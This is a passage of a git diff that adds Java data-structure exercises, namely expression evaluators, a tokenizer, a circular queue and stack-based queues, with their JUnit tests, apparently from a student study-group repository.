+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        if (pos2 >= data.length) return null;
+        return data[pos2++];
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        if (pos2 >= data.length) return null;
+        return data[pos2];
+    }
+
+    private void _ensureCapacityEnough() {
+        if (pos1 + 1 == pos2) {
+            _dilatancy();
+        }
+    }
+
+    private void _dilatancy() {
+        Object[] temp = new Object[data.length * 2];
+        for (int i = 0; i <= pos1; i++) {
+            temp[i] = data[i];
+        }
+
+        for (int i = pos2; i < data.length; i++) {
+            temp[temp.length - (data.length - i)] = data[i];
+        }
+
+        pos2 = temp.length - (data.length - pos2);
+        data = temp;
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixExpr.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixExpr.java
new file mode 100644
index 0000000000..01240f90d0
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixExpr.java
@@ -0,0 +1,73 @@
+package com.aaront.exercise.basic.expr;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Stack;
+
+public class InfixExpr {
+    private String expr = null;
+    private Map<Character, Integer> map = new HashMap<>(4);
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+        this.map.put('+', 1);
+        this.map.put('-', 1);
+        this.map.put('*', 2);
+        this.map.put('/', 2);
+        this.map.put('#', 0);
+    }
+
+    public float evaluate() {
+        Stack<Double> operands = new Stack<>();
+        // 要保证操作符栈中的操作符是按照操作符优先级递增的(不能相等)
+        Stack<Character> operators = new Stack<>();
+        operators.push('#');
+        for (int i = 0, len = expr.length(); i < len; i++) {
+            char c = expr.charAt(i);
+            Integer level = map.get(c);
+            if (c == '+' || c == '-' || c == '*' || c == '/') {
+                Character operator = operators.peek();
+                Integer value = map.get(operator);
+                while (level <= value) {
+                    Double operand2 = operands.pop();
+                    Double operand1 = operands.pop();
+                    Double result = calc(operators.pop(), operand1, operand2);
+                    operands.push(result);
+                    operator = operators.peek();
+                    value = map.get(operator);
+                }
+
+                operators.push(c);
+            } else {
+                int j = i;
+                for (; j < len && expr.charAt(j) >= '0' && expr.charAt(j) <= '9'; j++) ;
+                operands.push(Double.parseDouble(expr.substring(i, j)));
+                i = j - 1;
+            }
+        }
+
+        while (operators.size() != 1) {
+            Double operand2 = operands.pop();
+            Double operand1 = operands.pop();
+            Double result = calc(operators.pop(), operand1, operand2);
+            operands.push(result);
+        }
+
+        return operands.pop().floatValue();
+    }
+
+    private Double calc(Character operator, Double operand1, Double operand2) {
+        switch (operator) {
+            case '+':
+                return operand1 + operand2;
+            case '-':
+                return operand1 - operand2;
+            case '*':
+                return operand1 * operand2;
+            case '/':
+                return operand1 / operand2;
+            default:
+                throw new IllegalArgumentException("不支持的运算符");
+        }
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixToPostfix.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..f42212fddc
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/InfixToPostfix.java
@@ -0,0 +1,35 @@
+package com.aaront.exercise.basic.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+
+    public static List<Token> convert(String expr) {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(expr);
+        List<Token> reversePolish = new ArrayList<>();
+        Stack<Token> stack = new Stack<>();
+        for (int i = 0; i < tokens.size(); i++) {
+            Token token = tokens.get(i);
+            if (token.isNumber()) reversePolish.add(token);
+            else {
+                if(stack.isEmpty()) stack.push(token);
+                else {
+                    Token topToken = stack.peek();
+                    while (!token.hasHigherPriority(topToken)) {
+                        reversePolish.add(stack.pop());
+                        if(stack.isEmpty()) break;
+                        topToken = stack.peek();
+                    }
+                    stack.push(token);
+                }
+            }
+        }
+        while (!stack.isEmpty()) {
+            reversePolish.add(stack.pop());
+        }
+        return reversePolish;
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PostfixExpr.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PostfixExpr.java
new file mode 100644
index 0000000000..7c51086b98
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PostfixExpr.java
@@ -0,0 +1,51 @@
+package com.aaront.exercise.basic.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        List<String> elements = toList(expr.split(" "));
+        for (int i = 0; i < elements.size(); i++) {
+            String element = elements.get(i);
+            if (element.equals("+") || element.equals("-") || element.equals("*") || element.equals("/")) {
+                Double result = calc(element, Double.valueOf(elements.get(i - 2)), Double.valueOf(elements.get(i - 1)));
+                elements.add(i - 2, result.toString());
+                for (int j = 0; j < 3; j++) {
+                    elements.remove(i - 1);
+                }
+                i = -1;
+            }
+        }
+        return Float.valueOf(elements.get(0));
+    }
+
+    private List<String> toList(String[] elements) {
+        List<String> list = new ArrayList<>(elements.length);
+        for (int i = 0; i < elements.length; i++) {
+            list.add(elements[i]);
+        }
+        return list;
+    }
+
+    private Double calc(String operator, Double operand1, Double operand2) {
+        switch (operator) {
+            case "+":
+                return operand1 + operand2;
+            case "-":
+                return operand1 - operand2;
+            case "*":
+                return operand1 * operand2;
+            case "/":
+                return operand1 / operand2;
+            default:
+                throw new IllegalArgumentException("不支持的运算符");
+        }
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PrefixExpr.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PrefixExpr.java
new file mode 100644
index 0000000000..137fdb9c4f
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/PrefixExpr.java
@@ -0,0 +1,53 @@
+package com.aaront.exercise.basic.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        List<String> elements = toList(expr.split(" "));
+        for (int i = elements.size() - 1; i >= 0; i++) {
+            String element = elements.get(i);
+            if (element.equals("+") || element.equals("-") || element.equals("*") || element.equals("/")) {
+                Double result = calc(element, Double.valueOf(elements.get(i + 1)), Double.valueOf(elements.get(i + 2)));
+                elements.add(i, result.toString());
+                for (int j = 0; j < 3; j++) {
+                    elements.remove(i + 1);
+                }
+                i = elements.size() - 2;
+            }
+        }
+        return Float.valueOf(elements.get(0));
+    }
+
+    private List<String> toList(String[] elements) {
+        List<String> list = new ArrayList<>(elements.length);
+        for (int i = 0; i < elements.length; i++) {
+            list.add(elements[i]);
+        }
+        return list;
+    }
+
+    private Double calc(String operator, Double operand1, Double operand2) {
+        switch (operator) {
+            case "+":
+                return operand1 + operand2;
+            case "-":
+                return operand1 - operand2;
+            case "*":
+                return operand1 * operand2;
+            case "/":
+                return operand1 / operand2;
+            default:
+                throw new IllegalArgumentException("不支持的运算符");
+        }
+    }
+
+
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/Token.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/Token.java
new file mode 100644
index 0000000000..4e7fc095d0
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/Token.java
@@ -0,0 +1,47 @@
+package com.aaront.exercise.basic.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/TokenParser.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/TokenParser.java
new file mode 100644
index 0000000000..f03ecbe19f
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/expr/TokenParser.java
@@ -0,0 +1,55 @@
+package com.aaront.exercise.basic.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+
+        int i = 0;
+
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR, String.valueOf(c));
+                tokens.add(t);
+                i++;
+
+            } else if (Character.isDigit(c)) {
+
+                int nextOperatorIndex = indexOfNextOperator(i, expr);
+                String value = expr.substring(i, nextOperatorIndex);
+                Token t = new Token(Token.NUMBER, value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+
+            } else {
+                System.out.println("char :[" + c + "] is not number or operator,ignore");
+                i++;
+            }
+
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/CircleQueue.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/CircleQueue.java
new file mode 100644
index 0000000000..13d3470b62
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/CircleQueue.java
@@ -0,0 +1,41 @@
+package com.aaront.exercise.generic;
+
+public class CircleQueue<E> {
+
+    private final static int DEFAULT_SIZE = 10;
+
+    //用数组来保存循环队列的元素
+    private Object[] elementData = new Object[DEFAULT_SIZE];
+
+    //队头
+    private int front = 0;
+    //队尾
+    private int rear = 0;
+
+    public boolean isEmpty() {
+        return front == rear;
+    }
+
+    public boolean isFull() {
+        if(rear == elementData.length && front == 0) return true;
+        return front == rear + 1;
+    }
+
+    public int size() {
+        if(rear < front) return elementData.length - front + rear;
+        return rear - front;
+    }
+
+    public void enQueue(E data) {
+        if (isFull()) return;
+        if(rear == elementData.length) rear = 0;
+        elementData[rear++] = data;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) return null;
+        if(front == elementData.length) front = 0;
+        Object element = elementData[front++];
+        return (E) element;
+    }
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/QueueWithTwoStacks.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..b07bb5dc3e
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/QueueWithTwoStacks.java
@@ -0,0 +1,42 @@
+package com.aaront.exercise.generic;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.empty();
+    }
+
+
+    public int size() {
+        return stack1.size() + stack2.size();
+    }
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        if (isEmpty()) return null;
+        if (stack2.isEmpty()) _copy();
+        return stack2.pop();
+    }
+
+    private void _copy() {
+        while (!stack1.isEmpty()) {
+            E element = stack1.pop();
+            stack2.push(element);
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/JosephusTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/JosephusTest.java
new file mode 100644
index 0000000000..92cc66e7d3
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/JosephusTest.java
@@ -0,0 +1,24 @@
+package com.aaront.execrise.basic;
+
+import com.aaront.exercise.basic.Josephus;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class JosephusTest {
+
+	@Before
+    public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+	}
+
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/QuickMinStackTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/QuickMinStackTest.java
new file mode 100644
index 0000000000..f0f2dc5621
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/QuickMinStackTest.java
@@ -0,0 +1,48 @@
+package com.aaront.execrise.basic;
+
+import com.aaront.exercise.basic.QuickMinStack;
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+
+public class QuickMinStackTest {
+
+    @Test
+    public void test() {
+        QuickMinStack stack = new QuickMinStack();
+        stack.push(5);
+        stack.push(-5);
+        stack.push(50);
+        stack.push(23);
+        stack.push(0);
+        stack.push(100);
+        
+        assertEquals(-5, stack.findMin());
+        assertEquals(6, stack.size());
+        
+        assertEquals(100, stack.pop());
+        assertEquals(-5, stack.findMin());
+
+        stack.push(-4);
+        assertEquals(-5, stack.findMin());
+
+        assertEquals(-4, stack.pop());
+        assertEquals(-5, stack.findMin());
+        
+        assertEquals(0, stack.pop());
+        assertEquals(-5, stack.findMin());
+        
+        assertEquals(23, stack.pop());
+        assertEquals(-5, stack.findMin());
+        
+        assertEquals(50, stack.pop());
+        assertEquals(-5, stack.findMin());
+        
+        assertEquals(-5, stack.pop());
+        assertEquals(5, stack.findMin());
+        
+        assertEquals(5, stack.pop());
+        
+        assertEquals(0, stack.size());
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackUtilTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackUtilTest.java
new file mode 100644
index 0000000000..ab055f2b22
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackUtilTest.java
@@ -0,0 +1,66 @@
+package com.aaront.execrise.basic;
+
+import com.aaront.exercise.basic.StackUtil;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Stack;
+public class StackUtilTest {
+
+	@Before
+    public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackWithTwoQueuesTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..5ca48c0fbb
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/StackWithTwoQueuesTest.java
@@ -0,0 +1,27 @@
+package com.aaront.execrise.basic;
+
+import com.aaront.exercise.basic.StackWithTwoQueues;
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+
+public class StackWithTwoQueuesTest {
+
+    @Test
+    public void test() {
+        StackWithTwoQueues stack = new StackWithTwoQueues();
+        for (int i = 0; i < 500; i++) {
+            stack.push(i);
+        }
+        for (int i = 0; i < 500; i++) {
+            assertEquals(500 - i - 1, stack.pop());
+        }
+        
+        stack.push(50);
+        stack.push(60);
+        assertEquals(60, stack.pop());
+        stack.push(70);
+        assertEquals(70, stack.pop());
+        assertEquals(50, stack.pop());
+    }
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/TwoStackInOneArrayTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..7d50c53bd8
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/TwoStackInOneArrayTest.java
@@ -0,0 +1,43 @@
+package com.aaront.execrise.basic;
+
+import com.aaront.exercise.basic.TwoStackInOneArray;
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+
+public class TwoStackInOneArrayTest {
+
+    @Test
+    public void test() {
+        TwoStackInOneArray stack = new TwoStackInOneArray();
+        for (int i = 0; i < 50; i++) {
+            stack.push1("stack1:" + i);
+        }
+        for (int i = 0; i < 50; i++) {
+            stack.push2("stack2:" + i);
+        }
+        
+        for (int i = 0; i < 50; i++) {
+            assertEquals("stack1:" + (50 - i - 1), stack.peek1());
+            assertEquals("stack1:" + (50 - i - 1), stack.pop1());
+        }
+        for (int i = 0; i < 50; i++) {
+            assertEquals("stack2:" + (50 - i - 1), stack.peek2());
+            assertEquals("stack2:" + (50 - i - 1), stack.pop2());
+        }
+        
+        stack.push1(50);
+        stack.push1(60);
+        assertEquals(60, stack.pop1());
+        stack.push1(70);
+        assertEquals(70, stack.pop1());
+        assertEquals(50, stack.pop1());
+        
+        stack.push2(50);
+        stack.push2(60);
+        assertEquals(60, stack.pop2());
+        stack.push2(70);
+        assertEquals(70, stack.pop2());
+        assertEquals(50, stack.pop2());
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java
new file mode 100644
index 0000000000..515fe9ea57
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java
@@ -0,0 +1,53 @@
+package com.aaront.execrise.expr;
+
+import com.aaront.exercise.basic.expr.InfixExpr;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("10-2*3+50");
+            Assert.assertEquals(54, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..7f92bf24b7
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java
@@ -0,0 +1,38 @@
+package com.aaront.execrise.expr;
+
+import com.aaront.exercise.basic.expr.InfixToPostfix;
+import com.aaront.exercise.basic.expr.PostfixExpr;
+import com.aaront.exercise.basic.expr.Token;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.List;
+
+public class InfixToPostfixTest {
+
+    @Test
+    public void testConvert() {
+        {
+            String expr = "10-2*3+50";
+
+            List<Token> postFix = InfixToPostfix.convert(expr);
+            String postFixExpr = tokenListToString(postFix);
+            float postFixExprResult = calculatePostFixExpr(postFixExpr);
+
+            Assert.assertEquals(54, postFixExprResult, 0.001);
+        }
+    }
+
+    private String tokenListToString(List<Token> tokenList) {
+        StringBuilder builder = new StringBuilder();
+        for (Token token : tokenList) {
+            builder.append(token + " ");
+        }
+        return builder.toString();
+    }
+
+    private float calculatePostFixExpr(String expr) {
+        PostfixExpr postfixExpr = new PostfixExpr(expr);
+        return postfixExpr.evaluate();
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..7a6511d663
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java
@@ -0,0 +1,42 @@
+package com.aaront.execrise.expr;
+
+
+
+import com.aaront.exercise.basic.expr.PostfixExpr;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1 - 3 * + 10 2 / +");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..cfd2c8e4a1
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java
@@ -0,0 +1,46 @@
+package com.aaront.execrise.expr;
+
+import com.aaront.exercise.basic.expr.PrefixExpr;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java
new file mode 100644
index 0000000000..67c54c53ed
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java
@@ -0,0 +1,40 @@
+package com.aaront.execrise.expr;
+
+import com.aaront.exercise.basic.expr.Token;
+import com.aaront.exercise.basic.expr.TokenParser;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/CircleQueueTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/CircleQueueTest.java
new file mode 100644
index 0000000000..66ff17ed3b
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/CircleQueueTest.java
@@ -0,0 +1,43 @@
+package com.aaront.execrise.generic;
+
+import com.aaront.exercise.generic.CircleQueue;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * @author tonyhui
+ * @since 17/5/6
+ */
+public class CircleQueueTest {
+
+    @Test
+    public void test() {
+        CircleQueue<String> circleQueue = new CircleQueue<>();
+        for (int i = 0; i < 10; i++) {
+            circleQueue.enQueue("circleQueue" + i);
+        }
+        Assert.assertEquals(10, circleQueue.size());
+        Assert.assertFalse(circleQueue.isEmpty());
+        for (int i = 0; i < 5; i++) {
+            Assert.assertEquals("circleQueue" + i, circleQueue.deQueue());
+        }
+        Assert.assertEquals(5, circleQueue.size());
+        Assert.assertFalse(circleQueue.isEmpty());
+        for (int i = 5; i < 10; i++) {
+            Assert.assertEquals("circleQueue" + i, circleQueue.deQueue());
+        }
+          Assert.assertEquals(0, circleQueue.size());
+        Assert.assertTrue(circleQueue.isEmpty());
+
+        for (int i = 0; i < 6; i++) {
+            circleQueue.enQueue("item" + i);
+        }
+        Assert.assertEquals(6, circleQueue.size());
+        Assert.assertFalse(circleQueue.isEmpty());
+        for (int i = 0; i < 6; i++) {
+            Assert.assertEquals("item" + i, circleQueue.deQueue());
+        }
+        Assert.assertEquals(0, circleQueue.size());
+        Assert.assertTrue(circleQueue.isEmpty());
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/QueueWithTwoStacksTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..f3154fd56f
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/QueueWithTwoStacksTest.java
@@ -0,0 +1,28 @@
+package com.aaront.execrise.generic;
+
+import com.aaront.exercise.generic.QueueWithTwoStacks;
+import org.junit.Assert;
+import org.junit.Test;
+
+public class QueueWithTwoStacksTest {
+
+    @Test
+    public void test() {
+        QueueWithTwoStacks<String> queue = new QueueWithTwoStacks<>();
+        Assert.assertNull(queue.deQueue());
+        Assert.assertTrue(queue.isEmpty());
+        for (int i = 0; i < 100; i++) {
+            queue.enQueue("item" + i);
+        }
